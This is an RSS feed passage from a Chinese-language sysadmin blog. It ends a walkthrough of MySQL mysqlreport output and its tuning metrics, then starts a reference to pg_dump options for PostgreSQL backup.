15.19&nbsp;&nbsp;</span></li><li class="alt"><span>&nbsp;&nbsp;Ahead Rnd&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1&nbsp;&nbsp;&nbsp;&nbsp; 0.0/s&nbsp;&nbsp;</span></li><li><span>&nbsp;&nbsp;Ahead Sql&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/s&nbsp;&nbsp;</span></li><li class="alt"><span>Writes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/s&nbsp;&nbsp;</span></li><li><span>Flushes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/s&nbsp;&nbsp;</span></li><li class="alt"><span>Wait Free&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/s&nbsp;&nbsp;</span></li><li><span> </span></li><li class="alt"><span>__ InnoDB Lock _________________________________________________________&nbsp;&nbsp;</span></li><li><span>Waits&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/s&nbsp;&nbsp;</span></li><li class="alt"><span>Current&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;</span></li><li><span>Time acquiring&nbsp;&nbsp;</span></li><li class="alt"><span>&nbsp;&nbsp;Total&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0 ms&nbsp;&nbsp;</span></li><li><span>&nbsp;&nbsp;Average&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0 ms&nbsp;&nbsp;</span></li><li class="alt"><span>&nbsp;&nbsp;Max&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0 ms&nbsp;&nbsp;</span></li><li><span> </span></li><li class="alt"><span>__ InnoDB Data, Pages, Rows ____________________________________________&nbsp;&nbsp;</span></li><li><span>Data&nbsp;&nbsp;</span></li><li class="alt"><span>&nbsp;&nbsp;Reads&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;25&nbsp;&nbsp;&nbsp;&nbsp; 0.0/s&nbsp;&nbsp;</span></li><li><span>&nbsp;&nbsp;Writes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3&nbsp;&nbsp;&nbsp;&nbsp; 0.0/s&nbsp;&nbsp;</span></li><li class="alt"><span>&nbsp;&nbsp;fsync&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3&nbsp;&nbsp;&nbsp;&nbsp; 0.0/s&nbsp;&nbsp;</span></li><li><span>&nbsp;&nbsp;Pending&nbsp;&nbsp;</span></li><li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;Reads&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;</span></li><li><span>&nbsp;&nbsp;&nbsp;&nbsp;Writes&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0&nbsp;&nbsp;</span></li><li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;fsync&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;</span></li><li><span> </span></li><li class="alt"><span>Pages&nbsp;&nbsp;</span></li><li><span>&nbsp;&nbsp;Created&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/s&nbsp;&nbsp;</span></li><li class="alt"><span>&nbsp;&nbsp;Read&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 19&nbsp;&nbsp;&nbsp;&nbsp; 0.0/s&nbsp;&nbsp;</span></li><li><span>&nbsp;&nbsp;Written&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/s&nbsp;&nbsp;</span></li><li class="alt"><span> </span></li><li><span>Rows&nbsp;&nbsp;</span></li><li class="alt"><span>&nbsp;&nbsp;Deleted&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/s&nbsp;&nbsp;</span></li><li><span>&nbsp;&nbsp;Inserted&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/s&nbsp;&nbsp;</span></li><li class="alt"><span>&nbsp;&nbsp;Read&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/s&nbsp;&nbsp;</span></li><li><span>&nbsp;&nbsp;Updated&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0/s </span></li></ol></pre><p>Report Header: Line 1</p><p>报表的第一行包含了三样不同的资讯：MySQL Server 的版本、自上次啟动后已经过多少时间、目前 Server 的日期与时间。有些人会定时让系统自动产生报表(eg. cron)然后用程序去分析进行分析，此时表头将可用来协助您辨识出不同时间点的报表。对於那些租用或使用虚拟主机的管理者，表头可以协助您了解自己所需面对的是什么样的 Server。MySQL Server 版本可以指出该 Server 有提供或没有提供那些功能，而它的 Uptime 则表示该报表具有多大的代表性。Uptime 是重要的指标，可让您了解此份报表所包含的资讯是否可能有偏误，一般来说 Uptime 最少要有一小时会比较适当，甚至光是一小时其实也还不够。例如您的 Server 可能已执行了六个小时，但此六小时皆是在使用率最低的午夜，此时产生出的报表就很不具有代表性。最理想的情况下，你会希望 MySQL Server 至少已经执行了一整天，这样子一来你就可以确定报表中的资讯已包含了 Server 负载的高峰与低峰期，而不是只包含其中之一。在范例报表中 Server 只执行了 34 分鐘，因此该报表的代表性是不足的，但因为这只是用来做范例，也就没什么关係。</p><p>&nbsp;</p><p>Key Report: Lines 3 - 7</p><p>第一个主要报告区块就是 Key Report，因为 Key(Indexes, 索引)是所有资讯中最重要的一项。虽然此报表无法告知您 Server 是否有善用 Index，但它可以告诉您 Server 对於 Shared Key Buffer 的使用状态。请注意，这里所指的 Key Buffer 是指 MyISAM Storage Engine 所使用的 Shared Key Buffer，InnoDB 所使用的 Key Buffer 并不包含在内。</p><p>MySQL Server 支援许多种不同类型的资料表(比较正式的说法是 Storage Engine)，你可以将它们想像为各种不同的资料结构，而不同的 Storage Engine 各有其优缺点。其中 MySQL Server 预设是使用 MyISAM Storage Engine。</p><p>MySQL Server 的 Buffer 大略可分为二种：<br />1. Global Buffer：由所有 Client 所共用的 Buffer</p><p>key_buffer<br />innodb_buffer_pool<br />innodb_log_buffer<br />innodb_additional_mem_pool<br />net_buffer ...等等</p><p>2. Thread Buffer：个别的 Connection 所需佔用的 Buffer</p><p>例如：<br />sort_buffer<br />myisam_sort_buffer<br />read_buffer<br />join_buffer<br />read_rnd_buffer ...等等</p><p>计算 Server 至少需使用的总记忆体数量的方式为：<br />min_memory_needed = global_buffer + (thread_buffers * max_connection)</p><p>关於 MySQL 的 Cache 机制有一点需要特别注意，各位应该都知道 MyISAM Storage Engine 将每个 table 分成三个档案储存在硬盘之中，例如若您有一个资料表的名称为 example，那么您就会在硬盘上发现 example.FRM, example.MYD, example.MYI 等三个档案。这三个档案所储存的资料如下：</p><p>FRM： 储存这个资料表的结构<br />MYD： Row Data，也就是你存在 example 资料表里的资料<br />MYI： 此资料表的索引</p><p>接下来是重点：<br />当 MySQL 要 Cache 某个资料表时，请问 MySQL 会 Cache 哪些资料？</p><p>答案是：<br />MySQL 只会 Cache 索引，也就是 *.MYI 档案，而 Row Data(*.MYD) 则是交由作业系统来负责 Cache。</p><p>接下来我们再回到 Key Buffer，有个很重要的问题我们一直没有回答，就是『到底 Key Buffer 要设定多少才够呢？』。如前所述，MySQL 只会 Cache 索引(*.MYI)，因此您只要将资料库中所有的 MYI 档案加总起来，你就会知道大概要设为多少。</p><p>&nbsp;</p><p>Buffer used: Line 4</p><p>身为 MySQL 的管理者您通常会问的第一个问题是：『Server 到底用掉了多少 key buffer？』。如果您发现 MySQL 只使用了一小部份的 Key Buffer，这并不是什么需要注意的问题，因为 MySQL 只会在需要的时候才实际分配与使用 System RAM。也就是说，当你设定 MySQL 可使用 512MB 的 RAM 时，并不代表 MySQL 啟动的时候将佔用 512MB 的 RAM(只有在 MySQL 认为需要这么做的时候才会)。报表中的第四行(Buffer used)指出 MySQL &quot;曾经&quot; 耗用过的最大记忆体数量，因此目前 &quot;正在使用&quot; 的记忆体数量有可能少於（甚至大於）这个数字。MySQL 称此数值为 &quot;High Water Mark&quot;，但在报表的下一行我们将会看到它并不总是如此。无论如何，从　Buffer used 我们通常可以看出 key_buffer_size 这个系统变数值是否设定的够大，如果你的 MySQL 已经使用了 80~90% 以上的 Key Buffer，你就应该要调高 key_buffer_size。注意，Buffer used 永远不会有使用率超过 95% 的情况，因为 MySQL 的官方文件中指出 Share Key Buffer 中有部份将会挪用给内部资料结构使用，因此当 Buffer used 指出 Share Key Buffer 的使用率高达 95% 时，其实在实务上等於是已使用了 100% 的 Share Key Buffer。在这个例子中 Server 只使用了 380KB(0.07%) 的 Share Key Buffer，看到这里也许您会判断 Server 的 Share Key Buffer 是十分充足的，但请勿太早下定论，我们必须要接著考量报表中的下一行才能做出客观的判断......。</p><p>&nbsp;</p><p>Current: Line 5</p><p>mysqlreport 使用 Key_blocks_unused 这个系统变数来决定目前 MySQL &quot;正在使用&quot; 的 Share Key Buffer 大小，只有在 MySQL Server 4.1.2 以上的版本才会有这个功能。如果报表中的上一行(Buffer used)真的有如 MySQL 官方文件中所说的是 &quot;High Water Mark&quot;，那么 Current 所载明的数值应该永远会小於或等於它。但在接下来的例子中我们将会看到，事情并不总是如此。目前这台 Server 已经使用了大约 60MB(12%) 的 Share Key Buffer，这是一个好现象因为它代表了你的 Share Key Buffer 仍然十分充足。Current 与 Buffer used 合在一起看即可提供一个很有用的指标，告诉您目前的 key_buffer_size 是否充足。</p><p>设定 key_buffer_size 的方式也很简单，只要直接修改 MySQL 的设定档然后重新啟动 Server 即可。例如若要将 Key Buffer 设定为 2000MB，则只要在 /etc/my.cnf 中加上：<br />[mysqld]<br />key_buffer_size=2000M</p><p>&nbsp;</p><p>Write ratio: Line 6</p><p>索引(Indexes, Keys)主要是在记忆体内(RAM-Based)进行操作的，索引之所以如此有用有部份原因就归功於它们主要是在 RAM 里面运作，因此拥有极高的存取性能，不像储存在硬盘中的资料存取速度非常慢。然而，不可否认的是 MySQL 终究还是必须从硬盘中将索引读入 RAM 或是将储存在 RAM 中的索引写回硬盘之中。Write ratio 标示著 MySQL 将索引写入硬盘与 MySQL 将索引写入 RAM 的比值(Write Ratio = MySQL 将索引写入硬盘的次数 / MySQL 将索引写入 RAM 的次数)。具有接近於 1 的 Write Ratio 并不是一件很罕见的事，就像 MySQL 官方手册中所说的，如果你的 MySQL 最主要的活动是 Update、Insert 等等，那么 Write Ratio 将会很接近於 1。Write Ratio 若大於 1 表示 MySQL 将索引写入硬盘的次数大於将索引写入 RAM 的次数，很少有 MySQL Server 的 Write Ratio 会大於 1，绝大部份都应该会小於 1，即便是负载非常重的 Server。</p><p>&nbsp;</p><p>Read ratio: Line 7</p><p>Read Ratio 比 Write Ratio 来得重要一些，它标示了 MySQL 从硬盘读取索引与从 RAM 读取索引的比值(Read Ratio = MySQL 从硬盘读取索引的次数 / MySQL 从 RAM 读取索引的次数)。Read Ratio 的值应该要是 0.00 或 0.01，若大於这个值则表示 Server 有问题需要进一步的调查，通常此问题的成因是 Share Key Buffer 设得太小造成 MySQL 需要不断地从硬盘中读取所需要的索引资讯，而这个动作是十分没有效率的并且完全抵消了使用索引可以带来的好处。在 Server 刚啟动的头一个小时 Read Ratio 很常会出现大於 0.01 的数值，但 Server 执行过一阵子后它应该(也必须)降低至 0.01 或是 0.00。</p><p>&nbsp;</p><p>Questions Report: Lines 9 - 26</p><p>第二个主要的报表区块，Questions，是第二重要的资讯，因为它可以告诉你 MySQL 到底都在忙些什么事情。Questions 包含了 SQL queries 以及 MySQL protocol communications。大部份的人都只在意 Server 每秒可以处理多少查询(Queries Per Second, QPS)，但若以整个 Server 的观点来考量，QPS 其实是非常不精确的数值，它无法有效的告诉您 Server 的整体运作状况。而 Questions 则提供了较完整的资讯，让您一窥 Server 的全貌。</p><p>&nbsp;</p><p>Total: Line 10</p><p>第一个栏位单纯的记载 MySQL 总共回应过多少查询，第二个栏位则记录回应的频率(QPS)，当大部份的人说『我的 Server 平均每秒处理 XXX 个查询』时，他们指的其实就是第二个栏位所记录的回应频率。此时你应该要反问他们『在那 XXX 个查询之中，MySQL 到底做了哪些事情？』，接下来 mysqlreport 将可以协助您回答此问题......。</p><p>&nbsp;</p><p>Distribution of Total Queries (DTQ): Lines 11 - 15</p><p>所有的 Questions 可以大致区分为五个不同的类别：<br />1.Data Manipulation Statements (DMS)<br />2.query cache hits (QC Hits)<br />3.COM_QUIT<br />4.all other Com_ commands<br />5.Unknown</p><p>这五个类别将会展示在 Lines 11 至 15，但它们的顺序是会改变的。mysqlreport 预设是以查询的总数(第一个栏位)来排序，次数越多排得越上面，让您可以快速的分辨出 MySQL 大部份时间都在忙些什么东西。理想的情况下，你会希望 MySQL 把大部份的时间都花在 DMS 与 QC Hits 这两个类别，因为这两个类别才是真正在 &quot;完成正事&quot; 的类别。COM_QUIT、Com_、与 Unknown 也有其存在的必要，但它们应该只佔了其中的一小部份。在继续深入介绍之前，也许你会好奇第三个栏位是做什么用的，它代表了该分类(例如 DMS)佔全部 Queries 的百分比；若是在子分类(例如 Select)中，则表示该子分类佔所属分类(例如 DMS)的百分比。在此范例中 DMS 佔了所有 Queries 的 82.84%，这是一个很好的现象。</p><p>Data manipulation statements(DMS) 包含了：ELECT, INSERT, REPLACE, UPDATE, 与 DELETE(技术上来说，其实不只这几个类别但 mysqlreport 只会用到这几类)。基本上，你可以将 DMS 想成是 MySQL 真正有在做些 &quot;有用的事&quot; 的情况，因此你会希望 DMS 是 MySQL 最忙著处理的事情。</p><p>QC Hits 是 MySQL 不需要实际执行 Query 而只要直接从 Query Cache 中即可找到所需资料的次数。拥有高比例的 QC Hits 是让人梦寐以求的事，因为从 Query Cache 直接存取所需要的资料是十分快速且有效率的。然而大部份的 MySQL Server 因为各种原因，而无法具有非常有效率的 Query Cache。在本范例中 QC Hits 佔了所有 Questions 的 16.91%，这是非常好的情况。然而，千万不要被这个数值给误导了，在报表中的 38 至 45 行(Query Cache Report)将会告诉您完全不同的状况。这是一个很好的范例，展示了 mysqlreport 可以做为深入、相互参照与比对的分析工具。当 QC Hits 看来似乎十分完美时，这个 Server 的 Qeury Cache Report 却可以明确的告诉您其实事情没有表面上看起来的那样完美，我们在稍后会在回到这个问题。</p><p><br />COM_QUIT 算是比较不重要的类别，若您不是真的很有兴趣其实您大可忽略这个类别的内容。</p><p>COM_ 这个类别代表著所有 MySQL 所执行过的指令，通常与 MySQL protocol 相关。在正常的情况下，你会希望这个类别所佔的比例越低越好，因为当这个数值很高的时候就表示 MySQL 正忙碌於无关紧要的事情上。若这个数值很高通常代表 MySQL 正遭遇到某些很奇怪的问题，当我们深入讨论 COM_ 的子类别的时候，我们会在回来探讨这个问题。</p><p>Unknown 是推论出来的类别，在理想的状况下，之前所述的四个分类加总起来应该要等於 Questions 总数，但它们通常不会刚好等於。这是因为有些 Questions MySQL 在处理时会增加 Total Questions 的计数器，但却没有相对应的系统变数用来记录所执行过的 Questions。在不同的 Server 上这个数值的变异很大，在有些 Server 上这个数值非常的高，在有些 Server 上则非常的低，但在大部份的情况下它应该要维持在很低的水準才是。如果这个数值非常的高，可能代表 MySQL Server 有什么地方出了问题。</p><p>Slow: Line 16</p><p>第 16 行非常的重要：它记录了 MySQL 总共执行了多少次 Slow Query。Slow Query 就是指执行所需时间超过某个时间区间的 Query，例如执行超过 10 秒的 Query。用来判定是否为 Slow Query 的时间区间是可以透过 long_query_time 这个系统变数来设定的，MySQL 预设 long_query_time 为 10 秒，但通常我们会将它设定为 5 秒。在最理想的情况下，我们会希望看到这个数值等於零，但通常这数值不会是零。一般来说 Slow Query 佔 Total Questions 的比例应该要低於 0.05，Slow Query 的次数(第一个栏位)本身不是很重要，真正需要注意的是 Slow Query 佔 Total Questions 的比例，若这比例偏高就代表 Server 有些问题需要解决。第四个栏位中的『%DMS: 』表示 Slow Query 在所有 DMS 中所佔的比例。</p><p>&nbsp;</p><p>DMS: Lines 17 - 22</p><p>DMS 的子分类项目可以告诉我们，这台 MySQL Server 是属於哪一个类型的 MySQL Server，例如它是著重在 SELECT 操作或是 INSERT 操作，大部份的 MySQL Server 都是著重在 SELECT 操作。知道某台 Server 是属於哪一个类型的 MySQL Server 有助於我们思考报表中的其他资讯，例如一台著重在 SELECT 操作的 MySQL Server 的 Write Ratio 应该会非常的接近 1，并有著较高的 Lock 时间。同时它也隐含了一个意义，就是也许你可以考虑使用 InnoDB Storage Engine，因为 MySQL 预设採用的 MyISAM Storage Engine 所提供的 Lock 层级只有 Table Lock(只能针对整个资料表锁定)，而 InnoDB 则提供 Row Lock 层级的锁定机制(可只针对特定的 ROW 进行锁定，减少等待时间)。若是著重在 SELECT 操作的 Server，它的 Read Ratio 应该会接近於零，并有著非常低的 Table Lock 时间。</p><p>在范例中的 Server 是属於著重在 SELECT 操作的 Server：65.72% 的 Questions 是 SELECT(第三个栏位)、79.33% 的 DMS Questions 是 SELECT(第四个栏位)。很明显的，这是台著重在 SELECT 操作的 Server，知道了此项事实之后，我们才有办法对其进行最佳化。</p><p>&nbsp;</p><p>Com_: Lines 23 - 26</p><p>这个子分类只有在它的值偏高的时候才需要注意，因为过高的值表示 MySQL 正在忙著处理 &quot;程序方面的东西&quot;，而不是回应使用者的查询。对大部份的 Server 来说这里应该都不会出现偏高的数值，但您最好还是定期的检查一下。</p><p>&nbsp;</p><p>SELECT and Sort Report: Lines 28 - 36</p><p>大致上来说，你只要注意第 29 行与第 31 行：Scan 与 Full Join。Scan 指的是有多少 SELECT statements 造成 MySQL 需要进行 Full Table Scan。Full Join 的意思与 Scan 差不多，但它是适用在多个 Tables 相互 Join 在一起的情况。这二种情况的执行性能都非常的差，因此原则上你会希望这两个数值越低越好。但这也不是绝对的，仍然要考虑实际的情况，例如虽然 Server 有很高比例的 Scan，但若这些 Scan 都是针对一些只有几十笔资料的 table，那么相对而言它依然是十分有效率的；但反之，若这些 Scan 是针对具有上百万笔资料的 table，那么就会严重影响系统性能。</p><p>&nbsp;</p><p>Query Cache Report: Lines 38 - 45</p><p>Query Cache Report 只有在 MySQL 有支援 Query Cache，以及 Query Cache 功能有开啟的情况下才会有这段资讯出现。</p><p>&nbsp;</p><p>Memory usage: Line 39</p><p>此项目指出 Query Cache 的使用状况，若系统已达到 Query Cache 的上限则会连带影响到 Prunes Value，因为当配给的 Memory 不足时，MySQL 必须不断地消除 RAM 中较不常使用的资料以挪出空间摆放新的资料。</p><p>Block Fragmnt: Line 40</p><p>这个数值越高表示 Query Cache 的 Fragment 状况越严重，通常它会界於 10%~20% 之间。在此范例中 Block Fragmnt 为 13.05%，这是可接受的情况，当然你也可以调整 query_cache_min_res_unit 的值来降低 Block Fragmnt。</p><p>&nbsp;</p><p>Hits, Inserts, Prunes: Lines 41 - 43</p><p>Hits 是这三个数值中最重要的一项，因为它指出有多少 SELECT statements 是可直接从 Query Cache 里面取得所需的资讯，此数值越高就越好。Inserts 和 Prunes 最好是从第 44 行的比值来观察比较容易理解。虽然 Prunes 的值偏高可能代表著 Query Cache 设得不够大，但并不一定是如此。在本例中只有 55% 的 Query Cache 被使用，有著相对而言算低的 fragmentation 值，但 Prunes 值偏高，Prunes 的值(16/s)是 QC Hits 的两倍。你可以想像这台 Server 的 Query Cache 是一颗苹果树，它的树枝被剪去的速度比你採收苹果的速度还快。</p><p>&nbsp;</p><p>Insrtrune and Hit:Insert Ratios: Lines 44 - 45</p><p>第 44 行中的 Insert 与 Prune 的比值可显示 Query Cache 的挥发性。在一个高度稳定的 Query Cache 中，Insrt 的值应该要高於 Prune 的值；反之，在一个挥发性较高(较不稳定)的 Query Cache 中，这个比值将会是 1:1 或是偏重在 Prune 那方，这表示 Query Cache 中的资料有可能在使用到之前就已经被清除了。我们会希望拥有一个稳定的 Query Cache，因为稳定的 Query Cache 表示那些被 Cache 在 Query Cache 中的资料会常被用到。高挥发性(较不稳定)的 Query Cache 代表两件事情：第一，Query Cache 设得太小，需要加大。第二，MySQL 正试图要 cache 所有的东西，甚至是那些其实并不需要 cache 的资料。若是第一种状况，只要单纯的加大 Query Cache 即可。若是第二种情况，可能是 MySQL 试图要去 cache 所有可以 cache 的资料，你可以使用 SQL_NO_CACHE 来明确的告诉 MySQL 什么资料是你不想要 cache 的。</p><p>Hit 与 Insert 的比值代表著 Query Cache 的有效性，理想的情况是我们新增了一些 Qeury 到 Query Cache 中，然后希望得到许多 Hits。因此若是这个 Query Cache 是有效率的，那么该比值应该要偏重在左方。若比值是偏重在 Insert 那方，那么这个 Query Cache 的挥发性就太高了。考虑以下这个比值，若 Hit:Insert 为 1:1，那就表示 Query Cache 中的资料只使用了一次就被清除掉了，换句话说，我们放进去的资料比我们从里面拿出来的资料还多，这样一来就失去了使用 Query Cache 的意义。回想我们前面所提过的，虽然在本范例中 QC Hit 在全部的 Questions 中佔了很高的比例，但实际上我们可以发现 QC 的有效性其实是很低的(Hit:Insert 的比值偏重在 Insert 那方)。若造成这个现象的原因是 MySQL 正试图 cache 所有的东西，那么将 Cache 模式改为 DEMAND 或许可以解决此问题。</p><p>&nbsp;</p><p>Table Locks Report: Lines 47 - 49</p><p>这个部份包含了两项资讯：第一项是 Waited，代表 MySQL 需要等待以取得 table lock 的次数。第二项是 Immediate，表示 MySQL 不需要等待即可立刻取得 table lock 的次数。对资料库来说『等待』几乎可以肯定是一件很不好的事情，因此 Waited 的值应该要越小越好。最具有代表性的是第三个栏位(Waited 佔所有 table lock 的百分比)，这个数值应该要小於 10%，大於这个值就表示 table/query 的索引设计不良或是有过多的 Slow Query。</p><p>&nbsp;</p><p>Tables Report: Lines 51 - 53</p><p>Tables Report 同样包含了二项资讯：第一是 Open，显示目前正开啟的 table 数量、总共可开啟的最大数量，以及 Table Cache 的使用状况。第二是 Opend，表示截至目前为止 MySQL 总共开啟过的 Table 数量，以及除上 Uptime 后的比值。这里有两件事值得注意：首先是 Table Cache 的使用状况，100% 的 Table Cache 使用率并不是一件坏事但你可以试著调大 Table Cache 以增进性能。第二是 MySQL 开啟 Table 的平均速率，若这个值很高则表示您的 table_cache 设得太小了，需要调大一些。一般来说，MySQL 开啟 Table 的平均速率最好是小於 1/s。但大於这个数值也不一定就是坏事，有些调校良好且运作的十分有效率的 MySQL Server 其值为 7/s 并使用了 100% 的 Table Cache。</p><p>&nbsp;</p><p>Connections Report: Lines 55 - 57</p><p>Connections Report 所代表的意义与 Tables Report 相似，请各位以此类推。比较需要注意的是：若你发现 Connections 的使用率接近 100%，也许你会想调大 max_connections 的值以允许 MySQL 的 Client 建立更多连线。然而，这通常是一种错误。我们常常可以发现很多网路上的资料会教我们要调大 max_connections，但却从来没有给一个明确的理由。事实上，max_connections 的预设值(100)，就算是对於负载十分沉重但有良好调校过的 Server 都已十分足够。MySQL 对於单一连线的资料处理通常只需要零点几秒的时间即可完成，就算是最大只能使用 100 个连线也够让你用上很长一段时间。若是您的 Server 有著非常高的最大连线数(max connections)或是单一连线需要很长时间才可完成，那么问题八成不是 max_connections 的值不够大而是在别的地方，例如 slow queries、索引设计不良、甚至是过於缓慢的 DNS 解析。在您将 max_connections 的值调到 100 以上之前，您应该要先确定真的是因为 Server 过於忙碌而需要调高此数值，而不是其他地方出了问题。每秒平均连线数有可能会很高，事实上，若这个值很高而且 Server 的运作十分顺畅，那么这通常会是一个好现象，无需担心。大部份 Server 的每秒平均连线数应该都会低於 5/s。</p><p>&nbsp;</p><p>Created Temp Report: Lines 59 - 62</p><p>MySQL 可以建立暂时性的资料表，它可建立在硬盘中、档案里、或是 RAM 之中，而 Created Temp Report 则提供了相关的数据供您参考。这些数据大多是相对而言，没有一定的标準，但将暂时性的资料表建立在硬盘中是十分没有效率的，因此 Disk table 的值最好是三者中最小的一个。当暂时性的资料表被建立在硬盘中，表示此资料表没有办法被放进 RAM 里面（因为 tmp_table_size 的值设得不够大）。</p><p>&nbsp;</p><p>Threads, Aborted, Bytes Reports: Lines 64 - 76</p><p>这几个部份大多没什么好解释的，只有一个项目值得特别说明：第 66 行的最后一个栏位(%Hit)。每一个连接到 MySQL 的连线都是由不同的 Thread 来处理，当 MySQL 啟动时会预先建立一些 Threads 并保留在 Thread Cache 中，如此一来 MySQL 就不用一直忙著建立与删除 Threads。但当每秒最大连线数大於 MySQL 的 Thread Cache 时，MySQL 就会进入 Thread Thrash 的状态：它不断地建立新的 Threads 以满足不断增加的连线的需求。当 Thread Thrash 发生时，%Hit 的数值就会降低。在本范例中 %Hit 的值为 0.05%，这是非常不好的，因为它表示几乎每一个新进来的连线都会造成 MySQL 建立新的 Thread。我们可以看到在此范例中造成此现象的原凶就在第 66 行的第一个栏位，我们可以发现 Thread Cache 的值为 0，因此 thread_cache_size 的值需要调大。</p><p>话说回来，究竟 %Hit 接近於零真的有什么关係吗？Jeremy Zawondy 曾在部落格上说到：Thread caching 并不是我们最需要关心的问题，但当你解决了所有其他更严重的问题之后，它就会是最严重的问题。(hread caching really wasn't the worst of our problems. But it became the worst after we had fixed all the bigger ones.)</p></div><br/>Tags - <a href="http://www.yy520.net/tags/mysql/" rel="tag">mysql</a>
]]>
</description>
</item><item>
<link>http://www.yy520.net/articles/287/</link>
<title><![CDATA[PgSql备份pg_dump与还原手记pg_restore]]></title> 
<author>zzh &lt;zzhcool@126.com&gt;</author>
<category><![CDATA[系统管理]]></category>
<pubDate>Thu, 17 Mar 2011 08:04:04 +0000</pubDate> 
<guid>http://www.yy520.net/articles/287/</guid> 
<description>
<![CDATA[ 
	<p>备份还原方法：<b>pg_dump和pg_restore</b>，先仔细说明这两个命令，再记录我的操作方法。<a name="entrymore"></a><br /><span style="color: #ff0000">pg_dump</span> --&nbsp;&nbsp;将一个PostgreSQL数据库抽出到一个脚本文件或者其它归档文件中<br />pg_dump [option...] [dbname]<br /><b>选项option...</b><br />下面的命令行参数控制输出的内容和格式。 <br /><br />dbname<br />声明将要转储的数据库名。 如果没有声明这个参数，那么使用环境变量 PGDATABASE。 如果那个环境变量也没声明，那么用发起连接的用户名。 <br /><br />-a<br />--data-only<br />只输出数据，不输出模式（数据定义）。 <br /><br />这个选项只是对纯文本格式有意义。对于归档格式，你可以在调用 pg_restore 的时候声明选项。 <br /><br />-b<br />--blobs<br />在转储中包含大对象。必须选择一种非文本输出格式。 <br /><br />-c<br />--clean<br />输出在创建数据库创建命令之前先清理（删除）该数据库对象的命令。 <br /><br />这个选项只是对纯文本格式有意义。对于归档格式，你可以在调用 pg_restore 的时候声明选项。 <br /><br />-C<br />--create<br />以一条创建该数据库本身并且与这个数据库联接等命令开头进行输出。 （如果是这种形式的脚本，那么你在运行脚本之前和哪个数据库联接就不重要了。） <br /><br />这个选项只对纯文本格式有意义。对于归档格式，你可以在调用 pg_restore 的时候声明该选项。 <br /><br />-d<br />--inserts<br />将数据输出为的INSERT命令（而不是 COPY）。 这样会导致恢复非常缓慢。 这个选项主要用于制作那种可以用于其它非 PostgreSQL 数据库的转储。 请注意，如果你重新排列了字段顺序，那么恢复可能会完全失败。 -D 更安全，但是也更慢。 <br /><br />-D<br />--column-inserts<br />--attribute-inserts<br />把数据转储为带有明确字段名的 INSERT 命令。 （INSERT INTO table(column, ...) VALUES ...）。 这样会导致恢复非常缓慢，它主要用于制作那种可以用于其它非 PostgreSQL 数据库的转储。 <br /><br />-f file<br />--file=file<br />把输出发往指定的文件。如果忽略这些，则使用标准输出。 <br /><br />-F format<br />--format=format<br />选择输出的格式。format可以是下列之一： <br /><br />p<br 